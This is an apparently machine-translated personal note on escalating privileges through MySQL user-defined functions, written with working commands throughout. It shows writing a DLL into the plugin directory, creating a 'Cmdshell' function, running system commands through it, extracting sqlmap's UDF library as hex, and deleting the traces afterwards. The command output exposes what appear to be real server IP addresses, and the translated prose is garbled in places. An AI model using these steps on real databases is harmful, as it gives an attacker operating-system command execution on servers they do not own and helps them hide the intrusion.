The most recent side of the cake to meet MySQL right, always make a mistake, just remember notes! Easy to use later
First of all, the manual!
mysql<5.0, export the path arbitrarily, 5.0<=mysql<5.1, you need to export to the target server's system directory (such as: System32), or in the next step you will see "No paths allowed for shared Library "error; mysql>5.1, need to use
Show variables like '%plugin% ';
Statement to view the plug-in installation path, specifying the DLL path as the plug-in path when exporting.
It's almost all Grand now! The lower version is rare, select version (); view
I'm going to write down the commands I've used manually.
Mysql> Show variables like '%plugin% ';
+---------------+------------------------------------------+
| variable_name | Value |
+---------------+------------------------------------------+
| Plugin_dir | D:\wamp\bin\mysql\mysql5.5.16\lib/plugin |
+---------------+------------------------------------------+
mysql> use MySQL;
Database changed
Mysql> Select "AAA" Into DumpFile ' D:/wamp/bin/mysql/mysql5.5.16/lib/plugin/moon
Udf.dll ';
ERROR 1086 (HY000): File ' D:/wamp/bin/mysql/mysql5.5.16/lib/plugin/moonudf.dll '
already exists
It's already there, I've done it before.
mysql> Create function Cmdshell returns string Soname ' Udf.dll ';
ERROR 1125 (HY000): Function ' Cmdshell ' already exists
Mysql> Select Cmdshell (' ipconfig ');
| Cmdshell (' ipconfig ')
|
Windows IP Configuration
Ethernet Adapter Local Connection:
Connect a specific DNS suffix .....:
Local Link IPV6 address ... : fe80::858e:b0a0:bc98:fecf%11
IPV4 Address ............:27.152.28.230
Subnet Mask ............:255.255.255.224
IPV4 Address ............:175.43.122.230
Subnet Mask ............:255.255.255.224
Default gateway ............. : 27.152.28.225
Tunnel adapter ISATAP. {e3397da6-f698-46fb-a3db-784adc1b044e}:
Media status ............: Media is disconnected
Connect a specific DNS suffix .....:
Tunnel Adapter 6to4 Adapter:
Connect a specific DNS suffix .....:
IPV6 Address ............:2002:1b98:1ce6::1b98:1ce6
IPV6 Address ............:2002:af2b:7ae6::af2b:7ae6
Default gateway ............. : 2002:c058:6301::c058:6301
Tunnel Adapter Teredo Tunneling Pseudo-Interface:
Connect a specific DNS suffix .....:
IPV6 Address ............:2001:0:da55:94fa:3c18:a35:e467:e319
Local Link IPV6 address ... : fe80::3c18:a35:e467:e319%19
Default gateway ............. :
--------------------------------------------done!
|
1 row in Set (0.14 sec)
Mysql> select * from Mysql.func;
+----------+-----+-------------+----------+
| name | RET | DL | Type |
+----------+-----+-------------+----------+
| Cmdshell | 0 | Moonudf.dll | function |
+----------+-----+-------------+----------+
1 row in Set (0.07 sec)
Come with one! Unsure of what to use, wiindows_udf out of the code
You can also pull out the sqlmap inside, pay attention to the corresponding
Select Hex (Load_file ('/usr/share/golismero/tools/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so ')) into outfile '/ Tmp/udf.txt ';
Then it's the tools! Mysql_high_version
It has to change------
Linux under the same, too lazy to write
--------------------------------------
If mysql>=5.0, the DLL in the statement does not allow the full path, if the DLL has been exported to the system directory in the second step, you can omit the path and make the command execute normally, otherwise you will see the "Can ' t open shared Library" error.
If you are prompted with "Function ' Cmdshell ' already exists", enter the following statement to resolve:
delete from mysql.func where name=‘cmdshell‘
After the function is used, we need to remove the previously generated DLL and the created function, but to note the order, you must first delete the function and then delete the DLL. The syntax for deleting a function is as follows:
drop function 创建的函数名;
MySQL right note